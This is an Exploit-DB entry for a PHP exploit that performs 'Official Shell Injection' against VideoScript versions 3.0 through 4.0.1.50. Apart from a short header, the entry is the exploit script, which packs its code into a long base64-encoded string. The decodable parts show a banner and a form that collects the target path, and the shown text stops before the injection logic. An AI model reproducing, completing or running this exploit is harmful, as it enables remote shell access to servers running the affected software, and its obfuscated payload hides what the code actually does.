Exploit-DB #7211
Description: VideoScript 3.0 < 4.0.1.50 - 'Official' Shell Injection
Type: webapps
Platform: php
Date: 2008-11-24
Author: G4N0K

Exploit:
<?php  
#===========================================#
#=    [x] VideoScript 3.0 <= 4.0.1.50 Official Shell Injection Exploit  =#
#=    [x] by G4N0K                                                                              =#
#===========================================#
error_reporting(E_ALL);
	                $G4N0K ="JEc0TjBLID0gPDw8RU9HDQo8Ym9keSBiZ2NvbG9yPSIjQ0NDQ0NDIj48ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOndoaXRlO21hcmdp".
			"bjphdXRvO2JvcmRlcjojNjY2NjY2IDFweCBzb2xpZDt3aWR0aDo3MDBweDsiPg0KPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50".
			"ZXI7Ij48cHJlPg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
			"PT09PT09PT09PT09PT09DQogICAgICAgICAgICAgICAgICAgICAgXyAgICAgIF8gICAgICAgXyAgICAgICAgICBfICAgICAgXyAg".
			"IF8gDQogICAgICAgICAgICAgICAgICAgICAvIFwgICAgfCB8ICAgICB8IHwgICAgICAgIC8gXCAgICB8IHwgfCB8DQogICAgICAg".
			"ICAgICAgICAgICAgIC8gXyBcICAgfCB8ICAgICB8IHwgICAgICAgLyBfIFwgICB8IHxffCB8DQogICAgICAgICAgICAgICAgICAg".
			"LyBfX18gXCAgfCB8X19fICB8IHxfX18gICAvIF9fXyBcICB8ICBfICB8DQogICBJTiBUSEUgTkFNRSBPRiAvXy8gICBcX1wgfF9f".
			"X19ffCB8X19fX198IC9fLyAgIFxfXCB8X3wgfF98DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg".
			"ICAgICAgICAgICAgICAgICAgDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
			"PT09PT09PT09PT09PT09PT09PT09PT09PQ0KICAgICAgICAgICAgICAgICAgICAgIF9fX18gICBfICBfICAgICBfICAgXyAgICBf".
			"X18gICAgXyAgX18NCiAgICAgICAgICAgICAgICAgICAgIC8gX19ffCB8IHx8IHwgICB8IFwgfCB8ICAvIF8gXCAgfCB8LyAvDQog".
			"ICAgICAgICAgICAgICAgICAgIHwgfCAgXyAgfCB8fCB8XyAgfCAgXHwgfCB8IHwgfCB8IHwgJyAvIA0KICAgICAgICAgICAgICAg".
			"ICAgICB8IHxffCB8IHxfXyAgIF98IHwgfFwgIHwgfCB8X3wgfCB8IC4gXCANCiAgICAgICAgIGVYcGxvIXQgQnkgIFxfX19ffCAg".
			"ICB8X3wgICB8X3wgXF98ICBcX19fLyAgfF98XF9cDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
			"PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KCVZpZGVvU2NyaXB0IDMuMCA8PSA0LjAuMS41MCBPZmZpY2lh".
			"bCBTaGVsbCBJbmplY3Rpb24gRXhwbG9pdA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09".
			"PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQo8L3ByZT48L2Rpdj4NCkVPRzsNCmVjaG8gJEc0TjBLOw0KJEZPUk09IDw8".
			"PEZGRg0KPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48Zm9ybSBhbGlnbj0iY2VudGVyIiBzdHlsZT0ibWFyZ2luOmF1".
			"dG87d2lkdGg6NjAwcHg7Zm9udC1mYW1pbHk6VGFob21hO2ZvbnQtc2l6ZTo4cHQ7IiBhY3Rpb249InskX1NFUlZFUlsnUEhQX1NF".
			"TEYnXX0iIG1ldGhvZD0icG9zdCI+DQpQYXRoIGV4OiAvdmlkZW9zY3JpcHQvDQoJPGZpZWxkc2V0Pg0KCTxsZWdlbmQ+PGI+Jm5i".
			"c3A7RSB4IHAgbCBvIG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